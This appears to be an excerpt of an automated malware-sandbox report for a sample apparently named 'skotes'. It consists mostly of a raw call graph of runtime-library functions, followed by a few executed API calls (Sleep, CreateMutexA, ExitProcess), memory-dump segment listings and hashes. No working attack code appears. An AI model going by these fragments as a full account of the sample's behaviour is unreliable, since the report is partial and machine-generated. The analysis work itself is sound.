calls 10190->10191 10192 153ca5 10190->10192 10191->10192 10193 153810 3 API calls 10192->10193 10194 153ccf 10193->10194 10195 153810 3 API calls 10194->10195 10196 153cdb shared_ptr 10195->10196 9863 186a44 9864 186a5c 9863->9864 9865 186a52 9863->9865 9868 18698d 9864->9868 9867 186a76 ___free_lconv_mon 9871 18690a 9868->9871 9870 18699f 9870->9867 9872 18692a 9871->9872 9874 186921 9871->9874 9873 18a671 __cftof 3 API calls 9872->9873 9872->9874 9875 18694a 9873->9875 9874->9870 9879 18b5fb 9875->9879 9880 18b60e 9879->9880 9881 186960 9879->9881 9880->9881 9887 18f5ab 9880->9887 9883 18b628 9881->9883 9884 18b63b 9883->9884 9886 18b650 9883->9886 9884->9886 9894 18e6b1 9884->9894 9886->9874 9888 18f5b7 __dosmaperr 9887->9888 9889 18a671 __cftof 3 API calls 9888->9889 9891 18f5c0 __cftof __dosmaperr 9889->9891 9890 18f606 9890->9881 9891->9890 9892 188bec __cftof 3 API calls 9891->9892 9893 18f62b 9892->9893 9895 18a671 __cftof 3 API calls 9894->9895 9896 18e6bb 9895->9896 9899 18e5c9 9896->9899 9898 18e6c1 9898->9886 9902 18e5d5 __cftof __dosmaperr ___free_lconv_mon 9899->9902 9900 18e5f6 9900->9898 9901 188bec __cftof 3 API calls 9903 18e668 9901->9903 9902->9900 9902->9901 9904 18e6a4 9903->9904 9908 18a72e 9903->9908 9904->9898 9912 18a739 __dosmaperr ___free_lconv_mon 9908->9912 9909 188bec __cftof 3 API calls 9910 18a7c7 9909->9910 9911 18a7be 9913 18e4b0 9911->9913 9912->9909 9912->9911 9914 18e5c9 __cftof 3 API calls 9913->9914 9915 18e4c3 9914->9915 9920 18e259 9915->9920 9917 18e4cb __cftof 9919 18e4dc __cftof __dosmaperr ___free_lconv_mon 9917->9919 9923 18e6c4 9917->9923 9919->9904 9921 18690a __cftof 3 API calls 9920->9921 9922 18e26b 9921->9922 9922->9917 9924 18e259 __cftof 3 API calls 9923->9924 9927 18e6e4 __cftof 9924->9927 9925 18e75a __cftof __floor_pentium4 9925->9919 9927->9925 9928 18e32f 9927->9928 9929 18e357 9928->9929 9935 18e420 __floor_pentium4 9928->9935 9929->9935 9936 18f1bf 9929->9936 9931 18e3d7 9939 194dfe 9931->9939 9933 18e3f8 9934 194dfe __cftof 3 API calls 9933->9934 9934->9935 9935->9925 9937 18690a __cftof 3 API calls 9936->9937 9938 18f1df __cftof __freea __floor_pentium4 9937->9938 9938->9931 9940 18690a __cftof 3 API calls 9939->9940 9941 194e11 __cftof 9940->9941 9941->9933 9942 154276 9945 152410 9942->9945 9944 15427f 9946 152424 9945->9946 9949 16b52d 9946->9949 9957 183aed 9949->9957 9951 16b5a5 ___std_exception_copy 9964 16b1ad 9951->9964 9952 16b598 9960 16af56 9952->9960 9956 15242a 9956->9944 9968 184f29 9957->9968 9961 16af9f ___std_exception_copy 9960->9961 9963 16afb2 shared_ptr 9961->9963 9975 16b39f 9961->9975 9963->9956 9965 16b1e1 shared_ptr 9964->9965 9966 16b1d8 9964->9966 9965->9956 9967 16b39f 4 API calls 9966->9967 9967->9965 9970 184f2e __cftof 9968->9970 9969 16b555 9969->9951 9969->9952 9969->9956 9970->9969 9971 18d634 __cftof 3 API calls 9970->9971 9973 188bfc __cftof 9970->9973 9971->9973 9972 1865ed __cftof 3 API calls 9974 188c2f 9972->9974 9973->9972 9976 16bedf InitOnceExecuteOnce 9975->9976 9977 16b3e1 9976->9977 9978 16b3e8 9977->9978 9986 186cbb 9977->9986 9978->9963 9987 186cc7 __dosmaperr 9986->9987 9988 18a671 __cftof 3 API calls 9987->9988 9989 186ccc 9988->9989 9990 188bec __cftof 3 API calls 9989->9990 9991 186cf6 9990->9991 10197 1542b0 10200 153ac0 10197->10200 10199 1542bb shared_ptr 10201 153af9 10200->10201 10203 1532d0 5 API calls 10201->10203 10204 153b39 __Cnd_destroy_in_situ shared_ptr __Mtx_destroy_in_situ 10201->10204 10205 153c38 10201->10205 10202 1532d0 5 API calls 10207 153c5f 10202->10207 10203->10205 10204->10199 10205->10202 10205->10207 10206 153c68 10206->10199 10207->10206 10208 153810 3 API calls 10207->10208 10209 153cdb shared_ptr 10208->10209 10209->10199 10442 152170 10443 16c6fc InitializeCriticalSectionEx 10442->10443 10444 15217a 10443->10444 10445 153970 10446 16c68b __Mtx_init_in_situ 2 API calls 10445->10446 10447 1539a7 10446->10447 10448 16c68b __Mtx_init_in_situ 2 API calls 10447->10448 10449 1539e6 10448->10449 10476 1555f0 10477 155610 10476->10477 10477->10477 10478 1522c0 3 API calls 10477->10478 10479 155710 __floor_pentium4 10477->10479 10478->10477 10480 1543f0 10481 16bedf InitOnceExecuteOnce 10480->10481 10482 15440a 10481->10482 10483 154411 10482->10483 10484 186cbb 3 API calls 10482->10484 10485 154424 10484->10485 10325 169ef0 10326 169f0c 10325->10326 10327 16c68b __Mtx_init_in_situ 2 API calls 10326->10327 10328 169f17 10327->10328 10462 188bbe 10463 188868 3 API calls 10462->10463 10464 188bdc 10463->10464 9997 15cc79 9999 15cc84 shared_ptr 9997->9999 9998 15ccda shared_ptr __floor_pentium4 9999->9998 10003 155c10 9999->10003 10001 15ce9d 10021 15ca70 10001->10021 10004 155c54 10003->10004 10031 154b30 10004->10031 10006 155d17 shared_ptr __floor_pentium4 10006->10001 10007 155c7b __cftof 10007->10006 10008 155c10 3 API calls 10007->10008 10009 1566ac 10008->10009 10010 155c10 3 API calls 10009->10010 10011 1566b1 10010->10011 10035 1522c0 10011->10035 10013 1566c9 shared_ptr 10014 155c10 3 API calls 10013->10014 10015 15673d 10014->10015 10016 1522c0 3 API calls 10015->10016 10018 156757 shared_ptr 10016->10018 10017 155c10 3 API calls 10017->10018 10018->10017 10019 156852 shared_ptr __floor_pentium4 10018->10019 10020 1522c0 3 API calls 10018->10020 10019->10001 10020->10018 10022 15cadd 10021->10022 10023 15cc87 10022->10023 10025 155c10 3 API calls 10022->10025 10024 15ccda shared_ptr __floor_pentium4 10023->10024 10028 155c10 3 API calls 10023->10028 10026 15ccf9 10025->10026 10180 159030 10026->10180 10029 15ce9d 10028->10029 10030 15ca70 3 API calls 10029->10030 10033 154ce5 10031->10033 10034 154b92 10031->10034 10033->10007 10034->10033 10038 186da6 10034->10038 10064 152280 10035->10064 10039 186dc2 10038->10039 10040 186db4 10038->10040 10039->10034 10043 186d19 10040->10043 10044 18690a __cftof 3 API calls 10043->10044 10045 186d2c 10044->10045 10048 186d52 10045->10048 10047 186d3d 10047->10034 10049 186d8f 10048->10049 10052 186d5f 10048->10052 10059 18b67d 10049->10059 10051 186d6e 10051->10047 10052->10051 10054 18b6a1 10052->10054 10055 18690a __cftof 3 API calls 10054->10055 10057 18b6be 10055->10057 10056 18b6ce __floor_pentium4 10056->10051 10057->10056 10058 18f1bf __cftof 3 API calls 10057->10058 10058->10056 10060 18a671 __cftof 3 API calls 10059->10060 10061 18b688 10060->10061 10062 18b5fb __cftof 3 API calls 10061->10062 10063 18b698 10062->10063 10063->10051 10065 152296 10064->10065 10068 1887f8 10065->10068 10071 187609 10068->10071 10070 1522a4 10070->10013 10072 187649 10071->10072 10076 187631 __dosmaperr ___std_exception_copy __floor_pentium4 10071->10076 10073 18690a __cftof 3 API calls 10072->10073 10072->10076 10074 187661 10073->10074 10077 187bc4 10074->10077 10076->10070 10079 187bd5 10077->10079 10078 187be4 __dosmaperr ___std_exception_copy 10078->10076 10079->10078 10084 188168 10079->10084 10089 187dc2 10079->10089 10094 187de8 10079->10094 10104 187f36 10079->10104 10085 188178 10084->10085 10086 188171 10084->10086 10085->10079 10113 187b50 10086->10113 10088 188177 10088->10079 10090 187dcb 10089->10090 10091 187dd2 10089->10091 10092 187b50 3 API calls 10090->10092 10091->10079 10093 187dd1 10092->10093 10093->10079 10095 187e09 __dosmaperr ___std_exception_copy 10094->10095 10097 187def 10094->10097 10095->10079 10096 187f69 10100 187f8b 10096->10100 10103 187f77 10096->10103 10131 188241 10096->10131 10097->10095 10097->10096 10099 187fa2 10097->10099 10097->10103 10099->10100 10127 188390 10099->10127 10100->10079 10103->10100 10135 1886ea 10103->10135 10105 187f4f 10104->10105 10106 187f69 10104->10106 10105->10106 10108 187fa2 10105->10108 10111 187f77 10105->10111 10107 188241 3 API calls 10106->10107 10106->10111 10112 187f8b 10106->10112 10107->10111 10109 188390 3 API calls 10108->10109 10108->10112 10109->10111 10110 1886ea 3 API calls 10110->10112 10111->10110 10111->10112 10112->10079 10114 187b62 __dosmaperr 10113->10114 10117 188ab6 10114->10117 10116 187b85 __dosmaperr 10116->10088 10118 188ad1 10117->10118 10121 188868 10118->10121 10120 188adb 10120->10116 10122 18887a 10121->10122 10123 18888f __dosmaperr ___std_exception_copy 10122->10123 10124 18690a __cftof GetPEB ExitProcess GetPEB 10122->10124 10123->10120 10126 1888bf 10124->10126 10125 186d52 GetPEB ExitProcess GetPEB 10125->10126 10126->10123 10126->10125 10128 1883ab 10127->10128 10129 1883dd 10128->10129 10139 18c88e 10128->10139 10129->10103 10132 18825a 10131->10132 10146 18d3c8 10132->10146 10134 18830d 10134->10103 10137 18875d __floor_pentium4 10135->10137 10138 188707 10135->10138 10136 18c88e __cftof 3 API calls 10136->10138 10137->10100 10138->10136 10138->10137 10142 18c733 10139->10142 10141 18c8a6 10141->10129 10143 18c743 10142->10143 10144 18c748 __cftof __dosmaperr ___std_exception_copy 10143->10144 10145 18690a __cftof GetPEB ExitProcess GetPEB 10143->10145 10144->10141 10145->10144 10149 18d3ee 10146->10149 10158 18d3d8 __dosmaperr ___std_exception_copy 10146->10158 10147 18d485 10151 18d4ae 10147->10151 10152 18d4e4 10147->10152 10148 18d48a 10159 18cbdf 10148->10159 10149->10147 10149->10148 10149->10158 10154 18d4cc 10151->10154 10155 18d4b3 10151->10155 10176 18cef8 10152->10176 10172 18d0e2 10154->10172 10165 18d23e 10155->10165 10158->10134 10160 18cbf1 10159->10160 10161 18690a __cftof GetPEB ExitProcess GetPEB 10160->10161 10162 18cc05 10161->10162 10163 18cef8 GetPEB ExitProcess GetPEB 10162->10163 10164 18cc0d __alldvrm __cftof __dosmaperr ___std_exception_copy _strrchr 10162->10164 10163->10164 10164->10158 10166 18d26c 10165->10166 10167 18d2a5 10166->10167 10168 18d2de 10166->10168 10170 18d2b7 10166->10170 10167->10158 10169 18cf9a GetPEB ExitProcess GetPEB 10168->10169 10169->10167 10171 18d16d GetPEB ExitProcess GetPEB 10170->10171 10171->10167 10173 18d10f 10172->10173 10174 18d14e 10173->10174 10175 18d16d GetPEB ExitProcess GetPEB 10173->10175 10174->10158 10175->10174 10177 18cf10 10176->10177 10178 18cf75 10177->10178 10179 18cf9a GetPEB ExitProcess GetPEB 10177->10179 10178->10158 10179->10178 10181 15907f 10180->10181 10182 155c10 3 API calls 10181->10182 10183 15909a shared_ptr __floor_pentium4 10182->10183 10183->10023 10210 159ab8 10212 159acc 10210->10212 10213 159b08 10212->10213 10214 15a917 10213->10214 10215 159b4b shared_ptr 10213->10215 10216 15a953 Sleep CreateMutexA 10214->10216 10217 159b59 10215->10217 10218 155c10 3 API calls 10215->10218 10220 15a98e 10216->10220 10219 159b7c 10218->10219 10227 158b30 10219->10227 10222 159b8d 10223 155c10 3 API calls 10222->10223 10224 159cb1 10223->10224 10225 158b30 3 API calls 10224->10225 10226 159cc2 10225->10226 10228 158b7c 10227->10228 10229 155c10 3 API calls 10228->10229 10231 158b97 shared_ptr 10229->10231 10230 158d01 shared_ptr __floor_pentium4 10230->10222 10231->10230 10232 155c10 3 API calls 10231->10232 10233 158d9a shared_ptr 10232->10233 10234 158e7e shared_ptr __floor_pentium4 10233->10234 10235 155c10 3 API calls 10233->10235 10234->10222 10236 158f1a shared_ptr __floor_pentium4 10235->10236 10236->10222 10465 159ba5 10466 159ba7 10465->10466 10467 155c10 3 API calls 10466->10467 10468 159cb1 10467->10468 10469 158b30 3 API calls 10468->10469 10470 159cc2 10469->10470 9696 186629 9699 1864c7 9696->9699 9700 1864d5 __cftof 9699->9700 9701 186520 9700->9701 9704 18652b 9700->9704 9703 18652a 9710 18a302 GetPEB 9704->9710 9706 186535 9707 18654a __cftof 9706->9707 9708 18653a GetPEB 9706->9708 9709 186562 ExitProcess 9707->9709 9708->9707 9711 18a31c __cftof 9710->9711 9711->9706 10237 1520a0 10238 16c68b __Mtx_init_in_situ 2 API calls 10237->10238 10239 1520ac 10238->10239 10361 154120 10362 15416a 10361->10362 10364 1541b2 Concurrency::details::_ContextCallback::_CallInContext __floor_pentium4 10362->10364 10365 153ee0 10362->10365 10366 153f1e 10365->10366 10367 153f48 10365->10367 10366->10364 10368 153f58 10367->10368 10371 152c00 10367->10371 10368->10364 10372 152c0e 10371->10372 10378 16b847 10372->10378 10374 152c42 10375 152c49 10374->10375 10384 152c80 10374->10384 10375->10364 10377 152c58 Concurrency::cancel_current_task 10379 16b854 10378->10379 10383 16b873 Concurrency::details::_Reschedule_chore 10378->10383 10387 16cb77 10379->10387 10381 16b864 10381->10383 10389 16b81e 10381->10389 10383->10374 10395 16b7fb 10384->10395 10386 152cb2 shared_ptr 10386->10377 10388 16cb92 CreateThreadpoolWork 10387->10388 10388->10381 10390 16b827 Concurrency::details::_Reschedule_chore 10389->10390 10393 16cdcc 10390->10393 10392 16b841 10392->10383 10394 16cde1 TpPostWork 10393->10394 10394->10392 10396 16b807 10395->10396 10397 16b817 10395->10397 10396->10397 10399 16ca78 10396->10399 10397->10386 10400 16ca8d TpReleaseWork 10399->10400 10400->10397 10486 153fe0 10487 154022 10486->10487 10488 1540d2 10487->10488 10489 15408c 10487->10489 10492 154035 __floor_pentium4 10487->10492 10490 153ee0 3 API calls 10488->10490 10493 1535e0 10489->10493 10490->10492 10494 153616 10493->10494 10498 15364e Concurrency::cancel_current_task shared_ptr __floor_pentium4 10494->10498 10499 152ce0 10494->10499 10496 15369e 10497 152c00 3 API calls 10496->10497 10496->10498 10497->10498 10498->10492 10500 152d1d 10499->10500 10501 16bedf InitOnceExecuteOnce 10500->10501 10502 152d46 10501->10502 10503 152d88 10502->10503 10504 152d51 __floor_pentium4 10502->10504 10508 16bef7 10502->10508 10506 152440 3 API calls 10503->10506 10504->10496 10507 152d9b 10506->10507 10507->10496 10509 16bf03 Concurrency::cancel_current_task 10508->10509 10510 16bf73 10509->10510 10511 16bf6a 10509->10511 10513 152ae0 4 API calls 10510->10513 10515 16be7f 10511->10515 10514 16bf6f 10513->10514 10514->10503 10516 16cc31 InitOnceExecuteOnce 10515->10516 10517 16be97 10516->10517 10518 16be9e 10517->10518 10519 186cbb 3 API calls 10517->10519 10518->10514 10520 16bea7 10519->10520 10520->10514 10240 155cad 10242 155caf __cftof 10240->10242 10241 155d17 shared_ptr __floor_pentium4 10242->10241 10243 155c10 3 API calls 10242->10243 10244 1566ac 10243->10244 10245 155c10 3 API calls 10244->10245 10246 1566b1 10245->10246 10247 1522c0 3 API calls 10246->10247 10248 1566c9 shared_ptr 10247->10248 10249 155c10 3 API calls 10248->10249 10250 15673d 10249->10250 10251 1522c0 3 API calls 10250->10251 10255 156757 shared_ptr 10251->10255 10252 155c10 3 API calls 10252->10255 10253 156852 shared_ptr __floor_pentium4 10254 1522c0 3 API calls 10254->10255 10255->10252 10255->10253 10255->10254

                                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                                    Function 0018652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 351 18652b-186538 call 18a302 354 18655a-18656c call 18656d ExitProcess 351->354 355 18653a-186548 GetPEB 351->355 355->354 356 18654a-186559 355->356 356->354
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ExitProcess.KERNEL32(?,?,0018652A,?,?,?,?,?,00187661), ref: 00186567
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExitProcess
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 621844428-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4eb0e984e50b59a21a0457a11fce4835f1680597206bd286f7d70c734562a8d4
                                                                                                                                                                                                                                                                                    • Instruction ID: 177951eb512d596721e36487ca5c71cdc96a6f4e996015a16137f4f5dbb2f1f2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4eb0e984e50b59a21a0457a11fce4835f1680597206bd286f7d70c734562a8d4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F6E08C30040548AFDF257B18C80DE5A3B6AEF61789F010804F82886226CB25EF81DF90
                                                                                                                                                                                                                                                                                    Function 00159BA5 Relevance: 3.1, APIs: 2, Instructions: 140sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
